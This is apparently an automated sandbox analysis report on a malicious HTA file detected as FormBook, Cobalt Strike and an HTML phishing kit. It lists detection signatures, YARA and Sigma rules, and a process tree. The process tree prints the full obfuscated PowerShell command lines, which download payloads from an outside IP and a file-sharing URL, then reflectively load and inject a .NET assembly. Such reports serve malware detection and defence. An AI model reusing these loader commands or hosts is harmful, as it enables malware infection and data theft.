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Windows
Analysis Report
seemebestthingsgivenmegood.hta
Overview
General Information
Detection
Cobalt Strike, FormBook, HTMLPhisher
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Detected Cobalt Strike Beacon
Malicious sample detected (through community Yara rule)
Suricata IDS alerts for network traffic
Yara detected FormBook
Yara detected HtmlPhish44
Yara detected Powershell decode and execute
Yara detected Powershell download and execute
AI detected suspicious sample
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
PowerShell case anomaly found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: WScript or CScript Dropper
Suspicious command line found
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Checks if the current process is being debugged
Compiles C# or VB.Net code
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: AspNetCompiler Execution
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
- mshta.exe (PID: 7544 cmdline:
mshta.exe "C:\Users\ user\Deskt op\seemebe stthingsgi venmegood. hta" MD5: 06B02D5C097C7DB1F109749C45F3F505) - cmd.exe (PID: 7652 cmdline:
"C:\Window s\system32 \cmd.exe" "/c pOWeRs HElL -EX b ypaSs -nOP -W 1 -C DEVICE cReDenTial DePlOYMeNt ; INvOke- ExpREsSioN ($(INvoKe- EXpREssion ('[sYSTEM. tExt.ENCod Ing]'+[cHa R]58+[cHAr ]58+'utF8. gETsTrIng( [sYSTEm.co NvErt]'+[C HaR]58+[Ch Ar]0X3A+'f romBaSe64s triNg('+[C haR]34+'JE 95Q1A0TjJ6 RklBICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICA9IC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC BhREQtdFlQ RSAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgLU1lTU JlUkRFRklu SVRpT04gIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC dbRGxsSW1w b3J0KCJVck xNb04iLCAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg Q2hhclNldC A9IENoYXJT ZXQuVW5pY2 9kZSldcHVi bGljIHN0YX RpYyBleHRl cm4gSW50UH RyIFVSTERv d25sb2FkVG 9GaWxlKElu dFB0ciAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgeW pCR1Usc3Ry aW5nICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICBmci xzdHJpbmcg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IERFcSx1aW 50ICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICBuVEd5 VHNBbUdpay xJbnRQdHIg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IEtBRkspOy cgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIC1OYW1F ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAiaFdyZH htVWFXZyIg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IC1uYU1FU1 BhY2UgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIFJ3 VUdyUiAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgLV Bhc3NUaHJ1 OyAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgJE95Q1 A0TjJ6RklB OjpVUkxEb3 dubG9hZFRv RmlsZSgwLC JodHRwOi8v MTQ2LjcwLj ExMy4yMDAv MjMxL3NlZX RoZWJlc3Rt YWdpY2FsdG hpZ25zZ2l2 ZWdvb2Rmb3 J1LnRJRiIs IiRFTlY6QV BQREFUQVxz ZWV0aGViZX N0bWFnaWNh bHRoaWduc2 dpdmVnb29k Zm8udmJTIi wwLDApO3N0 QXJULXNsRW VwKDMpO0lp ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAiJEVOdj pBUFBEQVRB XHNlZXRoZW Jlc3RtYWdp Y2FsdGhpZ2 5zZ2l2ZWdv b2Rmby52Yl Mi'+[CHaR] 0X22+'))') ))" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 7660 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7704 cmdline:
pOWeRsHElL -EX bypa Ss -n OP -W 1 -C DEVICEcRe DenTialDeP lOYMeNt ; INvOke-Exp REsSioN($( INvoKe-EXp REssion('[ sYSTEM.tEx t.ENCodIng ]'+[cHaR]5 8+[cHAr]58 +'utF8.gET sTrIng([sY STEm.coNvE rt]'+[CHaR ]58+[ChAr] 0X3A+'from BaSe64stri Ng('+[ChaR ]34+'JE95Q 1A0TjJ6Rkl BICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICA9ICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICBhR EQtdFlQRSA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gLU1lTUJlU kRFRkluSVR pT04gICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICdbR GxsSW1wb3J 0KCJVckxNb 04iLCAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgQ2h hclNldCA9I ENoYXJTZXQ uVW5pY29kZ SldcHVibGl jIHN0YXRpY yBleHRlcm4 gSW50UHRyI FVSTERvd25 sb2FkVG9Ga WxlKEludFB 0ciAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgeWpCR 1Usc3RyaW5 nICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICBmcixzd HJpbmcgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIER FcSx1aW50I CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBuVEd5VHN BbUdpayxJb nRQdHIgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIEt BRkspOycgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI C1OYW1FICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA iaFdyZHhtV WFXZyIgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIC1 uYU1FU1BhY 2UgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIFJ3VUd yUiAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgLVBhc 3NUaHJ1OyA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gJE95Q1A0T jJ6RklBOjp VUkxEb3dub G9hZFRvRml sZSgwLCJod HRwOi8vMTQ 2LjcwLjExM y4yMDAvMjM xL3NlZXRoZ WJlc3RtYWd pY2FsdGhpZ 25zZ2l2ZWd vb2Rmb3J1L nRJRiIsIiR FTlY6QVBQR EFUQVxzZWV 0aGViZXN0b WFnaWNhbHR oaWduc2dpd mVnb29kZm8 udmJTIiwwL DApO3N0QXJ ULXNsRWVwK DMpO0lpICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA iJEVOdjpBU FBEQVRBXHN lZXRoZWJlc 3RtYWdpY2F sdGhpZ25zZ 2l2ZWdvb2R mby52YlMi' +[CHaR]0X2 2+'))')))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - csc.exe (PID: 7936 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\csc .exe" /noc onfig /ful lpaths @"C :\Users\us er\AppData \Local\Tem p\rll3hpdk \rll3hpdk. cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D) - cvtres.exe (PID: 7964 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\cvtr es.exe /NO LOGO /READ ONLY /MACH INE:IX86 " /OUT:C:\Us ers\user\A ppData\Loc al\Temp\RE SE7FE.tmp" "c:\Users \user\AppD ata\Local\ Temp\rll3h pdk\CSC65B F9AAB75645 B3826CB5BF 8CE44730.T MP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0) - wscript.exe (PID: 3048 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\seeth ebestmagic althignsgi vegoodfo.v bS" MD5: FF00E0480075B095948000BDC66E81F0) - powershell.exe (PID: 3520 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" $caviloso = 'JGlkaW9 lbGVjdHJpY 2lkYWRlID0 gJ2h0dHBzO i8vMTAxNi5 maWxlbWFpb C5jb20vYXB pL2ZpbGUvZ 2V0P2ZpbGV rZXk9SFRVR 19FeXJ1RFI wT0FaSDBIS Ep5ZXBVclh TdkZfaTZqO GJ3ZVRlV0J DdTE5eGNia lFONVRrc2E 0T0cwTXFjY 3FXTkxsZyZ wa192aWQ9Z TAxMDk2Mzh jOWJmYjk1N zE3MzI3OTQ zNTZhMWZmN mMgJzskdXJ 1Z3VhaW8gP SBOZXctT2J qZWN0IFN5c 3RlbS5OZXQ uV2ViQ2xpZ W50OyRlbmN lZmFsYXJ0b yA9ICR1cnV ndWFpby5Eb 3dubG9hZER hdGEoJGlka W9lbGVjdHJ pY2lkYWRlK TskaHltZW5 vdG9taWEgP SBbU3lzdGV tLlRleHQuR W5jb2Rpbmd dOjpVVEY4L kdldFN0cml uZygkZW5jZ WZhbGFydG8 pOyRpbnRlc m1pYXIgPSA nPDxCQVNFN jRfU1RBUlQ +Pic7JGNvc Glvc2FtZW5 0ZSA9ICc8P EJBU0U2NF9 FTkQ+Pic7J HRyYXNsYWR hciA9ICRoe W1lbm90b21 pYS5JbmRle E9mKCRpbnR lcm1pYXIpO yRyZXNwb25 kb25hID0gJ Gh5bWVub3R vbWlhLkluZ GV4T2YoJGN vcGlvc2FtZ W50ZSk7JHR yYXNsYWRhc iAtZ2UgMCA tYW5kICRyZ XNwb25kb25 hIC1ndCAkd HJhc2xhZGF yOyR0cmFzb GFkYXIgKz0 gJGludGVyb Wlhci5MZW5 ndGg7JGVtc GVsaWNhciA 9ICRyZXNwb 25kb25hIC0 gJHRyYXNsY WRhcjskdW5 ndWlmb3JtZ SA9ICRoeW1 lbm90b21pY S5TdWJzdHJ pbmcoJHRyY XNsYWRhciw gJGVtcGVsa WNhcik7JG1 vbGRpbmEgP SAtam9pbiA oJHVuZ3VpZ m9ybWUuVG9 DaGFyQXJyY XkoKSB8IEZ vckVhY2gtT 2JqZWN0IHs gJF8gfSlbL TEuLi0oJHV uZ3VpZm9yb WUuTGVuZ3R oKV07JHJhY mlzYWx0b25 hID0gW1N5c 3RlbS5Db25 2ZXJ0XTo6R nJvbUJhc2U 2NFN0cmluZ ygkbW9sZGl uYSk7JG9jZ WFub2xvZ2l zdGEgPSBbU 3lzdGVtLlJ lZmxlY3Rpb 24uQXNzZW1 ibHldOjpMb 2FkKCRyYWJ pc2FsdG9uY Sk7JGFscGl yY2hlID0gW 2RubGliLkl PLkhvbWVdL kdldE1ldGh vZCgnVkFJJ yk7JGFscGl yY2hlLklud m9rZSgkbnV sbCwgQCgnd Hh0LkFaUkh IQVovMTMyL zAwMi4zMTE uMDcuNjQxL y86cHR0aCc sICckcmVzc 3VwaW5hcic sICckcmVzc 3VwaW5hcic sICckcmVzc 3VwaW5hcic sICdhc3BuZ XRfY29tcGl sZXInLCAnJ HJlc3N1cGl uYXInLCAnJ HJlc3N1cGl uYXInLCckc mVzc3VwaW5 hcicsJyRyZ XNzdXBpbmF yJywnJHJlc 3N1cGluYXI nLCckcmVzc 3VwaW5hcic sJyRyZXNzd XBpbmFyJyw nMScsJyRyZ XNzdXBpbmF yJykpOw==' ;$bernarda = [System .Text.Enco ding]::UTF 8.GetStrin g([System. Convert]:: FromBase64 String($ca viloso));I nvoke-Expr ession $be rnarda MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 7020 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - aspnet_compiler.exe (PID: 7936 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\asp net_compil er.exe" MD5: FDA8C8F2A4E100AFB14C13DFCBCAB2D2)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Formbook, Formbo | FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware. |
⊘No configs have been found
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_HtmlPhish_44 | Yara detected HtmlPhish_44 | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
Windows_Trojan_Formbook_1112e116 | unknown | unknown |
| |
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
Windows_Trojan_Formbook_1112e116 | unknown | unknown |
| |
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
Click to see the 1 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
Windows_Trojan_Formbook_1112e116 | unknown | unknown |
| |
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
Windows_Trojan_Formbook_1112e116 | unknown | unknown |
|
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_PowershellDecodeAndExecute | Yara detected Powershell decode and execute | Joe Security |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |